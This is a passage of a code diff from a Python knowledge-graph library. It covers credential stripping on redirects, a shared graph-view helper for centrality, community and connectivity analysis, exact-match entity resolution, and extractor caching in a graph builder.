|
||||
# Params apply to the original request URL only; Location is authoritative.
|
||||
kwargs.pop("params", None)
|
||||
# 2. Strip per-request auth kwarg so requests cannot call
|
||||
# prepare_auth() with the caller's credential on this hop.
|
||||
kwargs.pop("auth", None)
|
||||
|
||||
response.close()
|
||||
current_url = next_url
|
||||
redirects_followed += 1
|
||||
# 3. Strip session-level headers so requests cannot re-inject
|
||||
# them when merging session + per-request headers for this hop.
|
||||
if session is not None:
|
||||
for sensitive in _SENSITIVE:
|
||||
# CaseInsensitiveDict.pop(key, None) handles any casing.
|
||||
session.headers.pop(sensitive, None)
|
||||
|
||||
# 4. Clear session.auth so prepare_request's merge_setting()
|
||||
# cannot fall back to the session-level auth handler and
|
||||
# reattach credentials on the foreign-origin hop.
|
||||
session.auth = None
|
||||
|
||||
# 5. Disable .netrc / environment-proxy credential lookup so
|
||||
# requests cannot inject credentials from ~/.netrc for the
|
||||
# redirect target host on this hop.
|
||||
session.trust_env = False
|
||||
|
||||
# Match requests' historical method rewriting for 301/302/303.
|
||||
if (
|
||||
response.status_code in _STRIP_BODY_ON_REDIRECT
|
||||
and current_method not in {"GET", "HEAD"}
|
||||
):
|
||||
current_method = "GET"
|
||||
for key in ("data", "json", "files"):
|
||||
kwargs.pop(key, None)
|
||||
|
||||
# Params apply to the original request URL only; Location is authoritative.
|
||||
kwargs.pop("params", None)
|
||||
|
||||
response.close()
|
||||
current_url = next_url
|
||||
redirects_followed += 1
|
||||
|
||||
finally:
|
||||
if _owns_session:
|
||||
# No caller holds a reference to this session; just release it.
|
||||
active_session.close()
|
||||
else:
|
||||
# Unconditionally restore every session credential source and
|
||||
# pinning artifact we touched, so the session is in its
|
||||
# original state after this call returns or raises.
|
||||
if _session_auth_backup:
|
||||
for _h, _v in _session_auth_backup.items():
|
||||
active_session.headers[_h] = _v
|
||||
# Restore session.auth to whatever it was before this call.
|
||||
active_session.auth = _session_auth_handler_backup
|
||||
# Restore session.trust_env (.netrc / env-proxy lookup flag).
|
||||
active_session.trust_env = _session_trust_env_backup
|
||||
# Undo any IP-pinning adapter/Host header mounted for a hop,
|
||||
# closing the last pinned adapter so its pooled connection
|
||||
# isn't leaked (see _apply_connection_pin).
|
||||
_current = active_session.adapters.get("http://")
|
||||
if getattr(_current, "_semantica_pinned", False):
|
||||
_current.close()
|
||||
active_session.mount("http://", _orig_http_adapter)
|
||||
active_session.mount("https://", _orig_https_adapter)
|
||||
if _had_host_header:
|
||||
active_session.headers["Host"] = _orig_host_header
|
||||
else:
|
||||
active_session.headers.pop("Host", None)
|
||||
if _session_lock is not None:
|
||||
_session_lock.release()
|
||||
|
||||
@@ -0,0 +1,206 @@
|
||||
"""Internal graph view helpers shared by KG analytics modules."""
|
||||
|
||||
from dataclasses import dataclass
|
||||
from typing import Any, Dict, Iterable, List, Optional, Set, Tuple
|
||||
|
||||
|
||||
@dataclass
|
||||
class GraphView:
|
||||
"""Normalized node and edge view used by graph analytics."""
|
||||
|
||||
nodes: List[Any]
|
||||
edges: List[Tuple[Any, Any]]
|
||||
|
||||
|
||||
def build_graph_view(graph: Any) -> GraphView:
|
||||
"""Build a graph view without dropping explicitly declared nodes.
|
||||
|
||||
Graph analytics accepts graph dictionaries, ContextGraph-like objects, and
|
||||
NetworkX graphs. Nodes declared without an incident edge remain in the
|
||||
returned view so callers can choose how to handle isolated nodes.
|
||||
"""
|
||||
nodes: List[Any] = []
|
||||
edges: List[Tuple[Any, Any]] = []
|
||||
seen_nodes: Set[Any] = set()
|
||||
seen_edges: Set[Tuple[Any, Any]] = set()
|
||||
|
||||
def add_node(value: Any) -> Optional[Any]:
|
||||
node_id = _node_id(value)
|
||||
if node_id is None or node_id == "":
|
||||
return None
|
||||
if node_id not in seen_nodes:
|
||||
seen_nodes.add(node_id)
|
||||
nodes.append(node_id)
|
||||
return node_id
|
||||
|
||||
for node in _extract_nodes(graph):
|
||||
add_node(node)
|
||||
|
||||
for raw_edge in _extract_edges(graph):
|
||||
edge = _edge_endpoints(raw_edge)
|
||||
if edge is None:
|
||||
continue
|
||||
source, target = edge
|
||||
source = add_node(source)
|
||||
target = add_node(target)
|
||||
if source is None or target is None:
|
||||
continue
|
||||
if (source, target) not in seen_edges:
|
||||
seen_edges.add((source, target))
|
||||
edges.append((source, target))
|
||||
|
||||
return GraphView(nodes=nodes, edges=edges)
|
||||
|
||||
|
||||
def build_adjacency(graph: Any, directed: bool = False) -> Dict[Any, List[Any]]:
|
||||
"""Build an adjacency list while preserving isolated graph nodes."""
|
||||
view = build_graph_view(graph)
|
||||
adjacency: Dict[Any, List[Any]] = {node: [] for node in view.nodes}
|
||||
|
||||
for source, target in view.edges:
|
||||
if target not in adjacency[source]:
|
||||
adjacency[source].append(target)
|
||||
if not directed and source not in adjacency[target]:
|
||||
adjacency[target].append(source)
|
||||
|
||||
return adjacency
|
||||
|
||||
|
||||
def _extract_nodes(graph: Any) -> Iterable[Any]:
|
||||
if isinstance(graph, dict):
|
||||
raw_nodes: List[Any] = []
|
||||
for key in ("entities", "nodes"):
|
||||
values = graph.get(key, [])
|
||||
if isinstance(values, dict):
|
||||
raw_nodes.extend(values.keys())
|
||||
elif values:
|
||||
raw_nodes.extend(values)
|
||||
return raw_nodes
|
||||
|
||||
raw_nodes = getattr(graph, "nodes", None)
|
||||
if callable(raw_nodes):
|
||||
return raw_nodes()
|
||||
if isinstance(raw_nodes, dict):
|
||||
return raw_nodes.keys()
|
||||
if raw_nodes is not None:
|
||||
return raw_nodes
|
||||
|
||||
get_nodes = getattr(graph, "get_nodes", None)
|
||||
if callable(get_nodes):
|
||||
return get_nodes()
|
||||
return []
|
||||
|
||||
|
||||
def _extract_edges(graph: Any) -> Iterable[Any]:
|
||||
if isinstance(graph, dict):
|
||||
raw_edges: List[Any] = []
|
||||
for key in ("relationships", "edges"):
|
||||
values = graph.get(key, [])
|
||||
if values:
|
||||
raw_edges.extend(values)
|
||||
return raw_edges
|
||||
|
||||
raw_edges: List[Any] = []
|
||||
relationships = getattr(graph, "relationships", None)
|
||||
if relationships is not None:
|
||||
raw_edges.extend(relationships)
|
||||
edges = getattr(graph, "edges", None)
|
||||
if callable(edges):
|
||||
raw_edges.extend(edges())
|
||||
elif edges is not None:
|
||||
raw_edges.extend(edges)
|
||||
if raw_edges:
|
||||
return raw_edges
|
||||
|
||||
get_relationships = getattr(graph, "get_relationships", None)
|
||||
if callable(get_relationships):
|
||||
return get_relationships()
|
||||
return []
|
||||
|
||||
|
||||
def _edge_endpoints(edge: Any) -> Optional[Tuple[Any, Any]]:
|
||||
if isinstance(edge, (tuple, list)) and len(edge) >= 2:
|
||||
return edge[0], edge[1]
|
||||
|
||||
if isinstance(edge, dict):
|
||||
source = _first_value(
|
||||
edge,
|
||||
"source",
|
||||
"source_id",
|
||||
"subject",
|
||||
"start",
|
||||
"start_id",
|
||||
"from",
|
||||
"src",
|
||||
"START_ID",
|
||||
":START_ID",
|
||||
)
|
||||
target = _first_value(
|
||||
edge,
|
||||
"target",
|
||||
"target_id",
|
||||
"object",
|
||||
"end",
|
||||
"end_id",
|
||||
"to",
|
||||
"dst",
|
||||
"END_ID",
|
||||
":END_ID",
|
||||
)
|
||||
else:
|
||||
source = _first_attribute(
|
||||
edge,
|
||||
"source_id",
|
||||
"source",
|
||||
"subject",
|
||||
"start",
|
||||
"start_id",
|
||||
"from_id",
|
||||
)
|
||||
target = _first_attribute(
|
||||
edge,
|
||||
"target_id",
|
||||
"target",
|
||||
"object",
|
||||
"end",
|
||||
"end_id",
|
||||
"to_id",
|
||||
)
|
||||
|
||||
if source is None or target is None:
|
||||
return None
|
||||
return source, target
|
||||
|
||||
|
||||
def _node_id(value: Any) -> Any:
|
||||
if isinstance(value, dict):
|
||||
value = _first_value(
|
||||
value, "id", "node_id", "entity_id", "key", "name", "text"
|
||||
)
|
||||
elif not isinstance(value, (str, int, float, bool, bytes, tuple)):
|
||||
value = _first_attribute(
|
||||
value, "node_id", "id", "entity_id", "key", "name", "text"
|
||||
)
|
||||
|
||||
if value is None:
|
||||
return None
|
||||
try:
|
||||
hash(value)
|
||||
except TypeError:
|
||||
return str(value)
|
||||
return value
|
||||
|
||||
|
||||
def _first_value(mapping: Dict[str, Any], *keys: str) -> Any:
|
||||
for key in keys:
|
||||
if key in mapping and mapping[key] not in (None, ""):
|
||||
return mapping[key]
|
||||
return None
|
||||
|
||||
|
||||
def _first_attribute(value: Any, *names: str) -> Any:
|
||||
for name in names:
|
||||
attribute = getattr(value, name, None)
|
||||
if attribute not in (None, ""):
|
||||
return attribute
|
||||
return None
|
||||
@@ -43,7 +43,7 @@ Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
from collections import defaultdict, deque
|
||||
from collections import deque
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
import numpy as np
|
||||
@@ -51,6 +51,7 @@ from scipy import sparse
|
||||
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from ._graph_view import build_adjacency, build_graph_view
|
||||
|
||||
|
||||
class CentralityCalculator:
|
||||
@@ -518,76 +519,15 @@ class CentralityCalculator:
|
||||
|
||||
def _build_adjacency(self, graph) -> Dict[str, List[str]]:
|
||||
"""Build adjacency list from graph."""
|
||||
adjacency = defaultdict(list)
|
||||
|
||||
# Extract relationships
|
||||
relationships = []
|
||||
if hasattr(graph, "relationships"):
|
||||
relationships = graph.relationships
|
||||
elif hasattr(graph, "get_relationships"):
|
||||
relationships = graph.get_relationships()
|
||||
elif isinstance(graph, dict):
|
||||
relationships = graph.get("relationships", graph.get("edges", []))
|
||||
elif hasattr(graph, "edges") and not callable(graph.edges):
|
||||
# ContextGraph-style: edges is a list of dataclass objects with source_id/target_id
|
||||
for edge in (graph.edges or []):
|
||||
if isinstance(edge, dict):
|
||||
src = edge.get("source") or edge.get("source_id")
|
||||
tgt = edge.get("target") or edge.get("target_id")
|
||||
else:
|
||||
src = getattr(edge, "source_id", None) or getattr(edge, "source", None)
|
||||
tgt = getattr(edge, "target_id", None) or getattr(edge, "target", None)
|
||||
if src and tgt:
|
||||
src, tgt = str(src), str(tgt)
|
||||
if tgt not in adjacency[src]:
|
||||
adjacency[src].append(tgt)
|
||||
if src not in adjacency[tgt]:
|
||||
adjacency[tgt].append(src)
|
||||
return dict(adjacency)
|
||||
|
||||
# Build adjacency
|
||||
for rel in relationships:
|
||||
# Handle tuple/list edges (e.g., from NetworkX)
|
||||
if isinstance(rel, (tuple, list)) and len(rel) >= 2:
|
||||
source, target = str(rel[0]), str(rel[1])
|
||||
if source and target:
|
||||
if target not in adjacency[source]:
|
||||
adjacency[source].append(target)
|
||||
if source not in adjacency[target]:
|
||||
adjacency[target].append(source)
|
||||
continue
|
||||
source = rel.get("source") or rel.get("subject")
|
||||
target = rel.get("target") or rel.get("object")
|
||||
|
||||
# Extract IDs if objects are passed
|
||||
if source and not isinstance(source, (str, int, float)):
|
||||
if isinstance(source, dict):
|
||||
source = source.get("id") or source.get("entity_id") or source.get("text") or str(source)
|
||||
else:
|
||||
source = getattr(source, "id", getattr(source, "text", str(source)))
|
||||
|
||||
if target and not isinstance(target, (str, int, float)):
|
||||
if isinstance(target, dict):
|
||||
target = target.get("id") or target.get("entity_id") or target.get("text") or str(target)
|
||||
else:
|
||||
target = getattr(target, "id", getattr(target, "text", str(target)))
|
||||
|
||||
if source and target:
|
||||
if target not in adjacency[source]:
|
||||
adjacency[source].append(target)
|
||||
if source not in adjacency[target]:
|
||||
adjacency[target].append(source)
|
||||
|
||||
return dict(adjacency)
|
||||
return build_adjacency(graph)
|
||||
|
||||
def _to_networkx(self, graph):
|
||||
"""Convert graph to NetworkX format."""
|
||||
adjacency = self._build_adjacency(graph)
|
||||
view = build_graph_view(graph)
|
||||
nx_graph = self.nx.Graph()
|
||||
|
||||
for source, targets in adjacency.items():
|
||||
for target in targets:
|
||||
nx_graph.add_edge(source, target)
|
||||
nx_graph.add_nodes_from(view.nodes)
|
||||
nx_graph.add_edges_from(view.edges)
|
||||
|
||||
return nx_graph
|
||||
|
||||
|
||||
@@ -49,6 +49,16 @@ from typing import Any, Dict, List, Optional
|
||||
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from ._graph_view import build_adjacency, build_graph_view
|
||||
|
||||
|
||||
def _is_hashable(value: Any) -> bool:
|
||||
"""Return whether a community identifier can be used in a set."""
|
||||
try:
|
||||
hash(value)
|
||||
except TypeError:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
class CommunityDetector:
|
||||
@@ -157,17 +167,18 @@ class CommunityDetector:
|
||||
|
||||
nx_graph = self._to_networkx(graph)
|
||||
|
||||
# Check if graph is empty or has no edges
|
||||
# An empty graph has no communities. A graph with nodes but
|
||||
# no edges still has singleton communities.
|
||||
num_nodes = nx_graph.number_of_nodes()
|
||||
num_edges = nx_graph.number_of_edges()
|
||||
self.logger.debug(f"Graph stats: nodes={num_nodes}, edges={num_edges}")
|
||||
|
||||
if num_nodes == 0 or num_edges == 0:
|
||||
self.logger.warning("Graph is empty or has no edges, returning 0 communities")
|
||||
if num_nodes == 0:
|
||||
self.logger.warning("Graph is empty, returning 0 communities")
|
||||
self.progress_tracker.stop_tracking(
|
||||
tracking_id,
|
||||
status="completed",
|
||||
message="Detected 0 communities (empty graph/no edges)",
|
||||
message="Detected 0 communities (empty graph)",
|
||||
)
|
||||
return {
|
||||
"communities": [],
|
||||
@@ -350,17 +361,7 @@ class CommunityDetector:
|
||||
|
||||
adjacency = self._build_adjacency(graph)
|
||||
|
||||
# Extract community structure
|
||||
if isinstance(communities, dict):
|
||||
node_communities = communities
|
||||
elif isinstance(communities, dict) and "node_assignments" in communities:
|
||||
node_communities = communities["node_assignments"]
|
||||
else:
|
||||
# Convert list of communities to node assignments
|
||||
node_communities = {}
|
||||
for i, community in enumerate(communities):
|
||||
for node in community:
|
||||
node_communities[node] = i
|
||||
node_communities = self._to_node_assignments(communities)
|
||||
|
||||
# Calculate metrics
|
||||
num_communities = len(set(node_communities.values()))
|
||||
@@ -408,16 +409,7 @@ class CommunityDetector:
|
||||
|
||||
metrics = self.calculate_community_metrics(graph, communities)
|
||||
|
||||
# Extract node assignments
|
||||
if isinstance(communities, dict) and "node_assignments" in communities:
|
||||
node_communities = communities["node_assignments"]
|
||||
elif isinstance(communities, dict):
|
||||
node_communities = communities
|
||||
else:
|
||||
node_communities = {}
|
||||
for i, community in enumerate(communities):
|
||||
for node in community:
|
||||
node_communities[node] = i
|
||||
node_communities = self._to_node_assignments(communities)
|
||||
|
||||
# Analyze connectivity between communities
|
||||
adjacency = self._build_adjacency(graph)
|
||||
@@ -440,6 +432,32 @@ class CommunityDetector:
|
||||
"edge_ratio": intra_community_edges / (inter_community_edges + 1),
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def _to_node_assignments(communities: Any) -> Dict[Any, Any]:
|
||||
"""Normalize community results to a node-to-community mapping."""
|
||||
if isinstance(communities, dict):
|
||||
assignments = communities.get("node_assignments")
|
||||
if isinstance(assignments, dict):
|
||||
return assignments
|
||||
|
||||
detected_communities = communities.get("communities")
|
||||
if isinstance(detected_communities, (list, tuple)):
|
||||
communities = detected_communities
|
||||
elif "communities" in communities:
|
||||
raise ValueError("Community results must contain a list of communities")
|
||||
elif not all(_is_hashable(value) for value in communities.values()):
|
||||
raise ValueError(
|
||||
"Community assignments must map nodes to hashable community IDs"
|
||||
)
|
||||
else:
|
||||
return communities
|
||||
|
||||
node_assignments: Dict[Any, Any] = {}
|
||||
for community_id, community in enumerate(communities or []):
|
||||
for node in community:
|
||||
node_assignments[node] = community_id
|
||||
return node_assignments
|
||||
|
||||
def detect_communities(
|
||||
self, graph: Any, algorithm: str = "louvain", method: str = None, **options
|
||||
) -> Dict[str, Any]:
|
||||
@@ -478,57 +496,7 @@ class CommunityDetector:
|
||||
|
||||
def _build_adjacency(self, graph) -> Dict[str, List[str]]:
|
||||
"""Build adjacency list from graph."""
|
||||
from collections import defaultdict
|
||||
|
||||
adjacency = defaultdict(list)
|
||||
|
||||
# Extract relationships
|
||||
relationships = []
|
||||
raw_edges = [] # flat (u, v) tuples
|
||||
if hasattr(graph, "relationships"):
|
||||
relationships = graph.relationships
|
||||
elif hasattr(graph, "get_relationships"):
|
||||
relationships = graph.get_relationships()
|
||||
elif isinstance(graph, dict):
|
||||
relationships = graph.get("relationships", [])
|
||||
# Also handle 'edges' key (list of tuples or dicts)
|
||||
for edge in graph.get("edges", []):
|
||||
if isinstance(edge, (list, tuple)) and len(edge) >= 2:
|
||||
raw_edges.append((str(edge[0]), str(edge[1])))
|
||||
elif isinstance(edge, dict):
|
||||
relationships.append(edge)
|
||||
|
||||
# Add raw (u, v) edges
|
||||
for u, v in raw_edges:
|
||||
if u and v:
|
||||
adjacency[u].append(v)
|
||||
adjacency[v].append(u)
|
||||
|
||||
# Build adjacency
|
||||
for rel in relationships:
|
||||
source = rel.get("source") or rel.get("subject")
|
||||
target = rel.get("target") or rel.get("object")
|
||||
|
||||
# Extract IDs if objects are passed
|
||||
if source and not isinstance(source, (str, int, float)):
|
||||
if isinstance(source, dict):
|
||||
source = source.get("id") or source.get("entity_id") or source.get("text") or str(source)
|
||||
else:
|
||||
source = getattr(source, "id", getattr(source, "text", str(source)))
|
||||
|
||||
if target and not isinstance(target, (str, int, float)):
|
||||
if isinstance(target, dict):
|
||||
target = target.get("id") or target.get("entity_id") or target.get("text") or str(target)
|
||||
else:
|
||||
target = getattr(target, "id", getattr(target, "text", str(target)))
|
||||
|
||||
if source and target:
|
||||
if target not in adjacency[source]:
|
||||
adjacency[source].append(target)
|
||||
if source not in adjacency[target]:
|
||||
adjacency[target].append(source)
|
||||
|
||||
return dict(adjacency)
|
||||
return build_adjacency(graph)
|
||||
|
||||
def _to_networkx(self, graph):
|
||||
"""Convert graph to NetworkX format."""
|
||||
@@ -536,12 +504,11 @@ class CommunityDetector:
|
||||
if hasattr(graph, 'nodes') and hasattr(graph, 'edges') and hasattr(graph, 'number_of_nodes'):
|
||||
return graph
|
||||
|
||||
adjacency = self._build_adjacency(graph)
|
||||
view = build_graph_view(graph)
|
||||
nx_graph = self.nx.Graph()
|
||||
|
||||
for source, targets in adjacency.items():
|
||||
for target in targets:
|
||||
nx_graph.add_edge(source, target)
|
||||
nx_graph.add_nodes_from(view.nodes)
|
||||
nx_graph.add_edges_from(view.edges)
|
||||
|
||||
return nx_graph
|
||||
|
||||
|
||||
@@ -48,11 +48,12 @@ Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
from collections import defaultdict, deque
|
||||
from collections import deque
|
||||
from typing import Any, Dict, List, Optional, Set, Tuple
|
||||
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from ._graph_view import build_adjacency
|
||||
|
||||
|
||||
class ConnectivityAnalyzer:
|
||||
@@ -385,51 +386,7 @@ class ConnectivityAnalyzer:
|
||||
|
||||
def _build_adjacency(self, graph) -> Dict[str, List[str]]:
|
||||
"""Build adjacency list from graph."""
|
||||
adjacency = defaultdict(list)
|
||||
|
||||
# Extract relationships
|
||||
relationships = []
|
||||
if hasattr(graph, "relationships"):
|
||||
relationships = graph.relationships
|
||||
elif hasattr(graph, "get_relationships"):
|
||||
relationships = graph.get_relationships()
|
||||
elif isinstance(graph, dict):
|
||||
relationships = graph.get("relationships", graph.get("edges", []))
|
||||
|
||||
# Build adjacency
|
||||
for rel in relationships:
|
||||
# Handle tuple/list edges (e.g., from NetworkX)
|
||||
if isinstance(rel, (tuple, list)) and len(rel) >= 2:
|
||||
source, target = str(rel[0]), str(rel[1])
|
||||
if source and target:
|
||||
if target not in adjacency[source]:
|
||||
adjacency[source].append(target)
|
||||
if source not in adjacency[target]:
|
||||
adjacency[target].append(source)
|
||||
continue
|
||||
source = rel.get("source") or rel.get("subject")
|
||||
target = rel.get("target") or rel.get("object")
|
||||
|
||||
# Extract IDs if objects are passed
|
||||
if source and not isinstance(source, (str, int, float)):
|
||||
if isinstance(source, dict):
|
||||
source = source.get("id") or source.get("entity_id") or source.get("text") or str(source)
|
||||
else:
|
||||
source = getattr(source, "id", getattr(source, "text", str(source)))
|
||||
|
||||
if target and not isinstance(target, (str, int, float)):
|
||||
if isinstance(target, dict):
|
||||
target = target.get("id") or target.get("entity_id") or target.get("text") or str(target)
|
||||
else:
|
||||
target = getattr(target, "id", getattr(target, "text", str(target)))
|
||||
|
||||
if source and target:
|
||||
if target not in adjacency[source]:
|
||||
adjacency[source].append(target)
|
||||
if source not in adjacency[target]:
|
||||
adjacency[target].append(source)
|
||||
|
||||
return dict(adjacency)
|
||||
return build_adjacency(graph)
|
||||
|
||||
def _bfs_shortest_path(
|
||||
self, adjacency: Dict[str, List[str]], source: str, target: str
|
||||
|
||||
@@ -22,8 +22,9 @@ License: MIT
|
||||
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from ..deduplication.duplicate_detector import DuplicateDetector
|
||||
from ..deduplication.duplicate_detector import DuplicateDetector, DuplicateGroup
|
||||
from ..deduplication.entity_merger import EntityMerger
|
||||
from ..utils.entity_ids import get_entity_id
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
@@ -138,9 +139,7 @@ class EntityResolver:
|
||||
self.logger.debug(
|
||||
f"Detecting duplicate groups with threshold {self.similarity_threshold}"
|
||||
)
|
||||
duplicate_groups = self.duplicate_detector.detect_duplicate_groups(
|
||||
entities, threshold=self.similarity_threshold
|
||||
)
|
||||
duplicate_groups = self._detect_duplicate_groups(entities)
|
||||
|
||||
self.logger.debug(f"Found {len(duplicate_groups)} duplicate group(s)")
|
||||
|
||||
@@ -150,6 +149,7 @@ class EntityResolver:
|
||||
# Step 2: Merge duplicates in each group
|
||||
merged_entities = []
|
||||
processed_entity_ids = set() # Track which entities have been merged
|
||||
processed_entity_objects = set()
|
||||
|
||||
for group in duplicate_groups:
|
||||
# Skip groups with less than 2 entities (not duplicates)
|
||||
@@ -157,9 +157,16 @@ class EntityResolver:
|
||||
continue
|
||||
|
||||
# Merge the duplicate group into a single canonical entity
|
||||
merge_operations = self.entity_merger.merge_duplicates(
|
||||
group.entities, **self.config
|
||||
)
|
||||
if self.resolution_strategy == "exact":
|
||||
merge_operations = [
|
||||
self.entity_merger.merge_entity_group(
|
||||
group.entities, **self.config
|
||||
)
|
||||
]
|
||||
else:
|
||||
merge_operations = self.entity_merger.merge_duplicates(
|
||||
group.entities, **self.config
|
||||
)
|
||||
|
||||
# Process each merge operation
|
||||
for operation in merge_operations:
|
||||
@@ -168,30 +175,26 @@ class EntityResolver:
|
||||
|
||||
# Mark all source entities as processed
|
||||
for source_entity in operation.source_entities:
|
||||
entity_id = (
|
||||
source_entity.get("id")
|
||||
if isinstance(source_entity, dict)
|
||||
else getattr(source_entity, "id", None)
|
||||
) or (
|
||||
source_entity.get("entity_id")
|
||||
if isinstance(source_entity, dict)
|
||||
else getattr(source_entity, "entity_id", None)
|
||||
)
|
||||
if entity_id:
|
||||
entity_id = self._get_entity_id(source_entity)
|
||||
if entity_id is None:
|
||||
processed_entity_objects.add(id(source_entity))
|
||||
continue
|
||||
try:
|
||||
processed_entity_ids.add(entity_id)
|
||||
except TypeError:
|
||||
processed_entity_objects.add(id(source_entity))
|
||||
|
||||
# Step 3: Add non-duplicate entities (entities not in any duplicate group)
|
||||
for entity in entities:
|
||||
entity_id = (
|
||||
entity.get("id")
|
||||
if isinstance(entity, dict)
|
||||
else getattr(entity, "id", None)
|
||||
) or (
|
||||
entity.get("entity_id")
|
||||
if isinstance(entity, dict)
|
||||
else getattr(entity, "entity_id", None)
|
||||
)
|
||||
if entity_id and entity_id not in processed_entity_ids:
|
||||
entity_id = self._get_entity_id(entity)
|
||||
if entity_id is None:
|
||||
is_unprocessed = id(entity) not in processed_entity_objects
|
||||
else:
|
||||
try:
|
||||
is_unprocessed = entity_id not in processed_entity_ids
|
||||
except TypeError:
|
||||
is_unprocessed = id(entity) not in processed_entity_objects
|
||||
if is_unprocessed:
|
||||
# This entity was not merged, add it as-is
|
||||
merged_entities.append(entity)
|
||||
|
||||
@@ -213,6 +216,48 @@ class EntityResolver:
|
||||
)
|
||||
raise
|
||||
|
||||
def _detect_duplicate_groups(
|
||||
self, entities: List[Dict[str, Any]]
|
||||
) -> List[DuplicateGroup]:
|
||||
"""Detect duplicate groups according to the configured strategy."""
|
||||
if self.resolution_strategy != "exact":
|
||||
return self.duplicate_detector.detect_duplicate_groups(
|
||||
entities, threshold=self.similarity_threshold
|
||||
)
|
||||
|
||||
groups = {}
|
||||
for entity in entities:
|
||||
name = self._get_entity_name(entity)
|
||||
normalized = str(name).strip() if name is not None else ""
|
||||
if normalized:
|
||||
groups.setdefault(normalized.casefold(), []).append(entity)
|
||||
|
||||
return [
|
||||
DuplicateGroup(entities=group, confidence=1.0)
|
||||
for group in groups.values()
|
||||
if len(group) > 1
|
||||
]
|
||||
|
||||
@staticmethod
|
||||
def _get_entity_id(entity: Any) -> Any:
|
||||
"""Return an entity ID while supporting dictionary and object inputs."""
|
||||
return get_entity_id(entity)
|
||||
|
||||
@staticmethod
|
||||
def _get_entity_name(entity: Any) -> Optional[str]:
|
||||
"""Return an entity name, falling back to text-based entity input."""
|
||||
if isinstance(entity, dict):
|
||||
name = entity.get("name")
|
||||
return (
|
||||
name if name is not None and str(name).strip() else entity.get("text")
|
||||
)
|
||||
name = getattr(entity, "name", None)
|
||||
return (
|
||||
name
|
||||
if name is not None and str(name).strip()
|
||||
else getattr(entity, "text", None)
|
||||
)
|
||||
|
||||
def merge_duplicates(self, entities: List[Dict[str, Any]]) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Merge duplicate entities.
|
||||
@@ -233,13 +278,13 @@ class EntityResolver:
|
||||
processed_ids = set()
|
||||
for op in merge_operations:
|
||||
for source_entity in op.source_entities:
|
||||
entity_id = source_entity.get("id") or source_entity.get("entity_id")
|
||||
if entity_id:
|
||||
entity_id = get_entity_id(source_entity)
|
||||
if entity_id is not None:
|
||||
processed_ids.add(entity_id)
|
||||
|
||||
for entity in entities:
|
||||
entity_id = entity.get("id") or entity.get("entity_id")
|
||||
if entity_id and entity_id not in processed_ids:
|
||||
entity_id = get_entity_id(entity)
|
||||
if entity_id is not None and entity_id not in processed_ids:
|
||||
merged_entities.append(entity)
|
||||
|
||||
self.logger.info(f"Merged to {len(merged_entities)} entities")
|
||||
|
||||
+289
-59
@@ -16,14 +16,14 @@ Key Features:
|
||||
Example Usage:
|
||||
>>> from semantica.kg import GraphBuilder
|
||||
>>> builder = GraphBuilder(merge_entities=True, resolve_conflicts=True)
|
||||
>>> graph = builder.build(sources=[{"entities": [...], "relationships": [...]}])
|
||||
>>> graph = builder.build(sources=[{"entities": [...], "relationships": [...]}]) # doctest: +SKIP
|
||||
|
||||
Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
from datetime import datetime
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
from typing import Any, Dict, List, Optional, Tuple, Union
|
||||
import time
|
||||
|
||||
|
||||
@@ -90,6 +90,18 @@ class GraphBuilder:
|
||||
self.version_snapshots = version_snapshots
|
||||
self.graph_store = graph_store
|
||||
self.config = kwargs # Store additional config for extractors
|
||||
# Extractors are reused across texts: NERExtractor loads its spaCy model
|
||||
# eagerly in __init__, so constructing one per text would reload the
|
||||
# model on every source in a multi-document build.
|
||||
self._extractor_cache: Dict[Tuple[str, Any], Any] = {}
|
||||
# build() resets these per run; seed them here so _extract_from_text
|
||||
# is usable on its own instead of raising an AttributeError that the
|
||||
# broad except in the extraction path silently swallows.
|
||||
self._extraction_stats: Dict[str, int] = {
|
||||
"extracted_entities": 0,
|
||||
"extracted_relations": 0,
|
||||
"extracted_triplets": 0,
|
||||
}
|
||||
|
||||
# Initialize logging
|
||||
from ..utils.logging import get_logger
|
||||
@@ -228,6 +240,99 @@ class GraphBuilder:
|
||||
# Unknown type
|
||||
pass
|
||||
|
||||
def _get_extractor(
|
||||
self, kind: str, extractor_cls, method: Union[str, List[str]]
|
||||
):
|
||||
"""Return a cached extractor for this method, building it on first use.
|
||||
|
||||
Extractors hold no per-text state but are expensive to construct —
|
||||
``NERExtractor(method="ml")`` loads a spaCy model in ``__init__``.
|
||||
Keying on kind and method is enough because ``self.config`` is fixed
|
||||
for the lifetime of the builder.
|
||||
|
||||
Args:
|
||||
kind: Extractor role, one of ``"ner"``, ``"relation"``, ``"triplet"``.
|
||||
extractor_cls: Extractor class to construct on a cache miss.
|
||||
method: A method name, or a list of them for fallback ordering.
|
||||
Lists are converted to tuples for the cache key only; the
|
||||
extractor still receives the original value.
|
||||
"""
|
||||
key = (kind, tuple(method) if isinstance(method, list) else method)
|
||||
if key not in self._extractor_cache:
|
||||
self._extractor_cache[key] = extractor_cls(method=method, **self.config)
|
||||
return self._extractor_cache[key]
|
||||
|
||||
def _remap_relationship_endpoints(
|
||||
self,
|
||||
entities: List[Dict[str, Any]],
|
||||
relationships: List[Dict[str, Any]],
|
||||
) -> int:
|
||||
"""Rewrite relationship endpoints after entity resolution.
|
||||
|
||||
Entity merging keeps the canonical entity ID and records the IDs of all
|
||||
merged inputs in ``merged_from``. Relationships are collected before
|
||||
resolution, so without this remapping they can continue to reference an
|
||||
entity that is no longer present in the graph.
|
||||
|
||||
Returns:
|
||||
The number of relationship endpoints that were remapped.
|
||||
"""
|
||||
endpoint_map: Dict[Any, Any] = {}
|
||||
|
||||
for entity in entities:
|
||||
if not isinstance(entity, dict):
|
||||
continue
|
||||
|
||||
canonical_id = entity.get("id")
|
||||
